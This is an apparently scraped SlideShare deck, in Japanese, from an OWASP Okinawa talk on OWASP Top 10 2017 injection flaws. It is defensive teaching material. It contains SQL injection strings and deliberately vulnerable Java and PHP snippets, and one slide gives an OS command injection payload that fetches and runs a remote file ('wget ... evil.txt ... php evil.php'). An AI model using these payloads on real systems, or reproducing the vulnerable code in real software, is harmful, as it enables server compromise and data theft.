Download to read offline
![A1:2017-インジェクション
攻撃シナリオの例（#3）
http://example.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
74](https://image.slidesharecdn.com/20180331owasptop10injection-180406011011/85/owasp_evening_okinawa_7_owasp_top_10-2017_injection-74-320.jpg)
![A1:2017-インジェクション
攻撃シナリオの例（#3）
http://example.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
75](https://image.slidesharecdn.com/20180331owasptop10injection-180406011011/85/owasp_evening_okinawa_7_owasp_top_10-2017_injection-75-320.jpg)
![A1:2017-インジェクション
攻撃シナリオの例（#3）
http://example.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST["yyyymm"]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
76](https://image.slidesharecdn.com/20180331owasptop10injection-180406011011/85/owasp_evening_okinawa_7_owasp_top_10-2017_injection-76-320.jpg)
![A1:2017-インジェクション
攻撃シナリオの例（#3）
http://example.com/order/summary
<?php // 受注情報の集計バッチを動かす
require 'common.php';
// 未ログインはログインページへリダイレクトする
if(!is_login()) header("Location: http://hoge.com/login"); exit();
$yyyymm = $_POST[“yyyymm”]; // 201701;sleep 10;
// バックグラウンドでPHPファイルを動かす
system("php /batch/order_summary.php $yyyymm &");
①バッチを動かす
php /batch/order_summary.php 201701;
②sleepコマンドで10秒停止
sleep 10;
77](https://image.slidesharecdn.com/20180331owasptop10injection-180406011011/85/owasp_evening_okinawa_7_owasp_top_10-2017_injection-77-320.jpg)
![[デブサミ2012]趣味と実益の脆弱性発見](https://cdn.slidesharecdn.com/ss_thumbnails/devsumi-hasegawa-120216203637-phpapp01-thumbnail.jpg?width=640&height=640&fit=bounds)
owasp_evening_okinawa_7_owasp_top_10-2017_injection
- 1. OWASP Top 10を学ぼう！ (A1:2017-インジェクション) OWASP Evening OKINAWA #7 桃原 裕太
- 2.
- 3. 目次 はじめに OWASP について OWASP Top10 について 2013年版から2017年版への変更点 アプリケーションセキュリティリスク A1:2017 - インジェクション おわりに 3
- 4.
- 5.
- 6.
- 7.
- 8.
- 9. はじめに 2018/03 A1:2017-インジェクション 2018/06 A2:2017-認証の不備 2018/09A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 9
- 10. はじめに 2018/03 A1:2017-インジェクション （今回はコチラ！） 2018/06A2:2017-認証の不備 2018/09 A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 10
- 11.
- 12.
- 13. OWASP について OWASPとは、Open Web Application Security Project の略称です。 Webをはじめとするセキュリティ環境の現状、ま たセキュアなソフトウェア開発を促進する技術・ プロセスに関する情報共有と普及啓発を目的とし たプロフェッショナルの集まる、オープンソー ス・ソフトウェアコミュニティです。 OWASP Okinawaは日本で6番目に発足したローカ ルチャプターです。 13
- 14. OWASP について OWASPは様々なプロジェクトがあり、 その成果物があります。 OWASP Top 10 - 2017 OWASP Mobile Top 10 - 2016 OWASP Proactive Controls OWASP Application Security Verification Standard OWASP Wordpress Security Implementation Guideline 14
- 15. OWASP Top 10 -2017 に ついて 15
- 16. OWASP Top 10- 2017 につい て アプリケーションセキュリティのデファクト・ス タンダード 前回作成したものが OWASP Top 10 - 2013 アプリケーションセキュリティを始める人や 組織が良いスタートをきれるように作成していま す 16
- 17. OWASP Top 10- 2017 につい て 大規模な組織や、セキュリティの取り組みにおい て高いレベルの組織において、厳密な標準が求め られているような場合には OWASP Application Security Verification Standard (ASVS) を使う ように勧めているようです 17
- 18. OWASP Top 10- 2017 につい て OWASP Top10の主要な目的は、開発者、デザイ ナー、アーキテクト、マネージャ、組織に、最も 一般的かつ最も重要なWebアプリケーションセ キュリティの弱点の影響について教育することで す。 リスクの高い問題のある領域を守るための基本的 なテクニックを提供し、現時点からどこへ進める べきなかについてのガイダンスを提供します。 18
- 19.
- 20.
- 21. 2013年版から2017年版への変更点 ここ数年でアプリケーションの基本的な技術と アーキテクチャは大きな変化を遂げました。 node.js 等、JavaScriptが Web の主要言語に モダンな Web フレームワークの登場 Bootstrap, Electron, Angular, React 21
- 22.
- 23.
- 24.
- 25. 2013年版から2017年版への変更点 （削除された項目） ※補足 クロスサイトリクエストフォージェリ（CSRF） 多くのフレームワークがこの対策を講じており、アプリ ケーションの5%程度でのみ観察されている 未検証のリダイレクトと転送 アプリケーションのおよそ8%で観察されており、XXEが 入ったことによりTop10から外れた 25
- 26. 2013年版から2017年版への変更点 （削除された項目） ※補足 クロスサイトリクエストフォージェリ（CSRF） 多くのフレームワークがこの対策を講じており、アプリ ケーションの5%程度でのみ観察されている 未検証のリダイレクトと転送 アプリケーションのおよそ8%で観察されており、XXEが 入ったことによりTop10から外れた ※一定数存在するので、無視していいわ けではないです 26
- 27.
- 28.
- 29.
- 30. これらの経路の中には、検出や悪用がしやすいものもあ れば、しにくいものもあります。 同様に、引き起こされる被害についても、ビジネスに 影響がないこともあれば、破産にまで追い込まれること もあります。 30 アプリケーション セキュリティリスクについて
- 31.
- 32.
- 33.
- 34.
- 35.
- 36.
- 37.
- 38.
- 39.
- 40.
- 41.
- 42.
- 43.
- 44.
- 45.
- 46.
- 47.
- 48.
- 49.
- 50.
- 51.
- 52.
- 53.
- 54.
- 55.
- 56.
- 57.
- 58.
- 59.
- 60.
- 61.
- 62.
- 63. A1:2017-インジェクション 脆弱性発見のポイント(3/5) 一般的なインジェクションとしては、下記がありま す。 SQL NoSQL OSコマンド オブジェクト・リレーショナル・マッピング（ORM） LDAP EL式（Expression Language） OGNL式（ObjectGraphNavigation Library） コンセプトはすべてのインタープリタで同じです。 63
- 64.
- 65. A1:2017-インジェクション 脆弱性発見のポイント(5/5) 下記のようなツールをCI/CDパイプライン（ビ ルド～テスト～リリースの自動化ツール）に導 入します 静的ソースコード解析ツール (SAST) Java/PHP/Ruby 等、言語毎にツールが存在 動的アプリケーションテストツール(DAST) 実際にHTTPリクエストを送信してテスト 自動化することで新たに作られてしまったイン ジェクション欠陥をリリース前に検出できます 65
- 66.
- 67.
- 68. A1:2017-インジェクション 攻撃シナリオの例（#1） http://example.com/app/accountView?id=1 String query= "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 68
- 69. A1:2017-インジェクション 攻撃シナリオの例（#1） http://example.com/app/accountView?id=' or'1'='1 String query = "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 69
- 70.
- 71. A1:2017-インジェクション 攻撃シナリオの例（#2） http://example.com/app/accountView?id=1 Query HQLQuery= session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 71
- 72. A1:2017-インジェクション 攻撃シナリオの例（#2） http://example.com/app/accountView?id=' or'1'='1 Query HQLQuery = session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 72
- 73.
- 74. A1:2017-インジェクション 攻撃シナリオの例（#3） http://example.com/order/summary <?php //受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701 // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 74
- 75. A1:2017-インジェクション 攻撃シナリオの例（#3） http://example.com/order/summary <?php //受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 75
- 76. A1:2017-インジェクション 攻撃シナリオの例（#3） http://example.com/order/summary <?php //受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 76
- 77. A1:2017-インジェクション 攻撃シナリオの例（#3） http://example.com/order/summary <?php //受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST[“yyyymm”]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); ①バッチを動かす php /batch/order_summary.php 201701; ②sleepコマンドで10秒停止 sleep 10; 77
- 78. A1:2017-インジェクション 攻撃シナリオの例（#3） なぜsleepコマンド？ yyyymm=201701 の場合 ※レスポンスが返ってくるまでに1秒かかる yyyymm=201701;sleep10; の場合 ※レスポンスが返ってくるまでに11秒かかる 78
- 79. A1:2017-インジェクション 攻撃シナリオの例（#3） 不正なファイルのDLと実行 ;wget http://example.com/evil.txt-O evil.php;php evil.php; ツールの取得（yum, apt-get） ファイル削除 (rm) OSシャットダウン（shutdown） その他いろいろ 79
- 80.
- 81.
- 82.
- 83.
- 84.
- 85. A1:2017-インジェクション 防止方法 実行するSQLのクエリ内で LIMIT 句やそ の他のSQL制御を常に使用するようにし ます 緩和策だと思いますがSQL インジェク ション攻撃が発生した場合のレコードの 大量漏洩を防ぐことができるかもしれま せん 85
- 86. A1:2017-インジェクション 攻撃シナリオの例（#1） ※対策版 http://example.com/app/accountView?id='or '1'='1 PreparedStatement prep = conn.prepareStatement( "SELECT * FROM accounts WHERE custID=?" ); prep.setString(1, request.getParameter("id")); // SELECT * FROM accounts // WHERE custID=''' or ''1''=''1' /* custIDが「' or '1'='1」のアカウントデータを取得 */ 86
- 87. おわりに まとめ インジェクションについて OWASPTop 10 - 2017 をベースにお話しました 例えばOSコマンドインジェクションが発生した 場合はビジネスに致命的な影響を及ぼす可能性 があります 不正なファイルの実行、データ漏えい、サーバー ダウン等 今回学んだ、脆弱性発見のポイント、攻撃例、防止 方法をもとにインジェクションのない安全なWebア プリケーションを開発できるように頑張ってくださ い 87
- 88. おわりに 参考サイト、参考資料 https://www.owasp.org/images/2/23/OWASP_Top_10- 2017%28ja%29.pdf https://www.owasp.org/images/7/72/OWASP_Top_10- 2017_%28en%29.pdf.pdf https://blog.tokumaru.org/2015/01/sql.html https://www.ipa.go.jp/files/000017320.pdf 88
- 89.
- 90.
- 91.